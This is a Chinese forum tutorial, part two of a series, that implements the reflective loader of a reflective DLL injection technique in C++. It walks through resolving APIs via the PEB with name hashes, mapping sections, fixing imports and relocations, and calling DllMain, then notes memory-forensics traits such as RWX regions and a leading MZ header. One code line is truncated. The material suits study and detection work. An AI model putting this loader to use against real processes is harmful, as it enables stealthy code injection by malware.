常見程式注入的實現及記憶體dump分析——反射式DLL注入(下)
前言
上一篇帖子《常見程式注入的實現及記憶體dump分析——反射式DLL注入(上)》中,實現了反射式注射器的Dropper,這篇帖子中,將會實現Payload——DLL檔案。個人認為,反射式DLL的精髓就在於DLL的反射載入功能。
環境
OS:Windows 10 PRO 1709
IDE:Visual Studio 2015 Community
語言:Visual C++
Payload:DLL的實現
原理:
將已經注入到目標程式的DLL載入到記憶體,實現LoadLibrary的功能。
步驟:
這裡我先描述下大體的流程,後面會展開。
獲取目標程式PEB,從而獲取一些需要用到的函式地址,如:VirtualAlloc。
複製PE頭,由於PE頭的形態並沒有像節一樣需要展開,所以為複製。
解析PE頭,並載入節,與2不一樣的是,這裡用的是載入,到了節這裡,已經在PE頭中的資訊指定了RVA,所以這裡要進行“載入”。
處理匯入表,獲取匯入函式的地址。
處理重定位表,由於基址和預設的載入地址不同,所以需要修改重定位表,否則,程式內的直接定址會出問題。
呼叫映象入口點,到這裡,映象已經載入完畢。
由於直接編寫DLL,直接進行反射載入,無法用VS進行除錯,所以我之前新建了一個可執行的專案,在該專案中,實現了載入的功能,後續只需將函式匯出,和變換下載入的DLL即可。
詳細步驟:
獲取DLL起始位置。
//caller功能:獲取當前指令的下一條指令的地址。
uiLibraryAddress = caller();
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
//pe頭偏移RVA
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
//判斷PE頭的正確性
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
//pe頭在記憶體中的位置
uiHeaderValue += uiLibraryAddress;
//如果找到檔案頭就退出迴圈
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
我在除錯的可執行的Demo中,更改的。
//callAddress:在緩衝區開闢空間的起始地址,在原注入中uiLibraryAddress = caller();0x10偏移是為了模擬尋找起始地址的過程
uiLibraryAddress = callAddress + 0x10;
獲取目標程式PEB,獲取需要的函式地址,需要的函式有:VirtualAlloc(用來為映象要載入的地址分配空間)、LoadLibraryA(處理匯入表)、GetProcAddress(同上)、NtFlushInstructionCache(重新整理資料,讓CPU執行新指令)。
獲取PEB的方法:FS:[0x30]和GS:[0x60],前者為32位系統,後者為64位系統。從下面的圖中是微軟公佈的PEB的資料結構(在網路上可以找到更詳細的結構),在_PEB_LDR_DATA這個資料結構中,儲存著當前程式所載入的模組資訊,就是我們想要的,我們需要遍歷已經載入的模組,從中找到我們需要的模組,獲得以上幾個函式的地址。(會在附件中上傳詳細的PEB圖)
提示:在解析PEB的結構的時候,要注意位元組對齊的問題,以前沒有注意到結構體的這個問題,算是填了個坑。
PEB及_PEB_LDR_DA他的資料結構
模組之間的關係(來自網路,侵刪)
由以上兩圖,貼出程式碼如下:
uiBaseAddress = __readgsqword(0x60);//peb結構的地址
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
//當前模組名地址
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC = 0;
//計算模組名的hash
do
{
uiValueC = ror((DWORD)uiValueC);
// normalize to uppercase if the madule name is in lowercase
if (*((BYTE *)uiValueB) >= 'a')
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while (--usCounter);
//獲取目標程式中的接下來需要的函式地址
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
{
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 3;
// 找函式
while (usCounter > 0)
{
dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
{
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_3
在上面的程式碼中,獲取函式地址的部分沒有具體寫,上一篇帖子中詳細的說明了獲取的過程,差別就是上一篇帖子中需要將RVA轉化為檔案偏移。程式碼中有一些Hash值,這種方法在shellcode中比較常見,shellcode中是為了減小空間,這裡除了這個原因,我在用IDA查詢資訊的時候並不能從字串中直接找到函式名,也許這也是一個原因。(如有錯誤,或者其他原因,歡迎指出)。
開闢緩衝區(DLL要載入到的空間),複製PE頭和節表。
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
//分配空間,首地址即為DLL載入的基地址
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;//所有頭+節表的大小
uiValueB = uiLibraryAddress;//DLL的起始地址,即緩衝區的起始地址
uiValueC = uiBaseAddress;//dll將被載入的地址的起始地址
//複製頭和節表的資料到新開闢的緩衝區
while (uiValueA--)
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
PE頭和節表可直接複製的原因:
對映關係(來自網路,侵刪)
根據節表載入節。
//節表的第一項
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
//pe中節的數量
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
//節的虛擬地址
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
//節的檔案偏移地址
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
//節的大小
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//拷貝資料
while (uiValueD--)
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
//下一個節
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
處理匯入表,匯入表的結構圖在上一篇帖子中沒有詳細畫,附件中會更新。
程式碼入下:
// uiValueB :匯入表地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
//基地址+RVA即匯入表描述符的地址VA
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
//連結庫名字
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
//使用LoadLibraryA將需要的模組載入到記憶體
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
//指向INT的IMAGE_THUNK_DA他的VA
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
//要匯入IAT的IMAGE_THUNK_DATA結構體
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
// 迭代函式,如果沒有名,則獲取序號
while (DEREF(uiValueA))
{
//在除錯過程中發現都是獲取的函式序號
// sanity check uiValueD as some compilers only import by FirstThunk
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
uiValueB = (uiBaseAddress + DEREF(uiValueA));
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
uiValueA += sizeof(ULONG_PTR);
if (uiValueD)//INT
uiValueD += sizeof(ULONG_PTR);
}
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
同樣,關於匯出表的部分沒有詳細註釋,已經在上篇帖子中有詳細的介紹。
處理重定位表,由於基址改變,所以程式中的一些直接定址等會出問題,所以要更改重定向表。
接下來需要用到的重定位表的關係
程式碼如下:
//實際裝載和建議裝載的偏移,原重定位表中的值是以程式建議的裝載地址為基址
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;//程式建議的裝載地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)//重定位表大小
{
//重定位表的地址
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)//重定位塊的大小
{
//重定位記憶體頁的起始RVA
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
//重定位塊中的項數(整個塊的大小減去結構體的大小,得到重定位項的總大小,除以每個重定位項的大小)
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
//重定位塊的第一項
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//遍歷重定位項
while (uiValueB--)
{
//重定位項的高四位代表此重定位項的型別
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
//下一個重定位項
uiValueD += sizeof(IMAGE_RELOC);
}
//下一個重定位塊
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
呼叫程式入口點,使其執行DllMain,並傳遞訊息為Dll的狀態為DLL_PROCESS_ATTACH(這個訊息在上篇文章中有講到)
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);//呼叫入口點
分析:
在這種的注入是實現中,很少從外部匯入函式,且使用了目標程式的部分匯入庫和函式,所以在IDA的匯入中沒有什麼有價值的資訊。不過,回憶整個流程,我們會發現這種注入有特別的地方,如獲取PEB,如圖,雙重迴圈獲取系統函式等,而且,這種注入由於需要修復的重定位表,也會使用雙重迴圈。
在匯出函式中,由於在注射器中會通過匯出表來獲取反射函式的地址,所以匯出表中會有一個反射函式,且載入功能都是在反射函式中進行的。
從記憶體分佈看,由於都是新開闢的空間,且需要執行程式碼,所以許可權都為RWX,如果檢視記憶體,小的那段的開頭,一定是MZ。
將小的那段記憶體dump出來,雖然大小和原DLL有稍微的不同,但直接拖到IDA是可以進行分析的,因為那段記憶體就是dll本身。
最後
全部原始碼地址:https://github.com/SudoZhange/ProcessInjection
參考
程式碼:https://github.com/stephenfewer/ReflectiveDLLInjection
《Windows PE權威指南》
《深入解析Windows作業系統》
《加密與解密》
本文由看雪論壇 sudozhange 原創 轉載請註明來自看雪社群
相關文章
- 常見程式注入的實現及記憶體dump分析——反射式DLL注入(上)2018-01-23記憶體反射
- 程式注入之DLL注入2018-04-17
- QueueUserApc實現DLL注入的測試2013-05-03
- C++ DLL注入和程式碼注入2013-10-04C++
- Java 常見記憶體溢位異常與程式碼實現2016-10-11Java記憶體溢位
- Windbg下使用dump分析記憶體溢位2024-10-17記憶體溢位
- Android記憶體溢位、記憶體洩漏常見案例分析及最佳實踐總結2021-08-02Android記憶體溢位
- 常見sql注入原理詳解!2017-11-19SQL
- WINDWOS 系統程式DLL檔案注入。2009-07-12
- Windows提權實戰————4、DLL注入2018-05-23Windows
- Weblogic下的servlet記憶體馬注入-無參照純除錯2021-07-04WebServlet記憶體除錯
- 技術分享 | DLL注入之遠執行緒注入2021-10-13執行緒
- AIX下程式記憶體分析2009-07-29AI記憶體
- C# DLL注入技術2013-10-04C#
- docker下netcore記憶體dump2023-03-01DockerNetCore記憶體
- 絕對牛逼哄哄的shellcode記憶體注入,支援64,32,遠端記憶體注入,支援VMP殼最大強度保護2018-09-25記憶體
- 【日常小記】記憶體分配方式及常見錯誤2010-12-03記憶體
- sql注入之堆疊注入及waf繞過注入2021-08-03SQL
- XML實體注入漏洞2024-06-12XML
- 8 - DLL注入和解除安裝2020-03-27
- Windows+GCC下記憶體對齊的常見問題2013-11-27WindowsGC記憶體
- 依賴注入?依賴注入是如何實現解耦的?2020-05-15依賴注入解耦
- SQL隱碼攻擊之常見注入的步驟④2020-11-11SQL
- sql注入之型別及提交注入2021-07-30SQL型別
- javascript的記憶體管理以及3種常見的記憶體洩漏1970-01-01JavaScript記憶體
- 分析高效記憶體池的實現方式2018-06-06記憶體
- C++ DLL注入工具完整原始碼2022-01-29C++原始碼
- 使用微軟Detours庫進行DLL注入2024-08-20微軟
- 常見電腦記憶體故障現象與排除方法2016-07-29記憶體
- iOS實現依賴注入2016-03-22iOS依賴注入
- Java記憶體模型常見問題2019-02-03Java記憶體模型
- 逆向淺析常見病毒的注入方式系列之一-----WriteProcessMemory2020-08-19SSM
- 求教:注入的具體實現類是哪一個?2012-07-15
- 用程式注入來實現一個殼(原理)2004-06-02
- 三、Android效能優化之常見的記憶體洩漏分析2018-01-19Android優化記憶體
- 5個常見的JavaScript記憶體錯誤2021-12-31JavaScript記憶體
- JavaScript依賴注入的實現思路2015-01-09JavaScript依賴注入
- malloc,calloc,realloc及動態開闢記憶體常見錯誤2018-08-04記憶體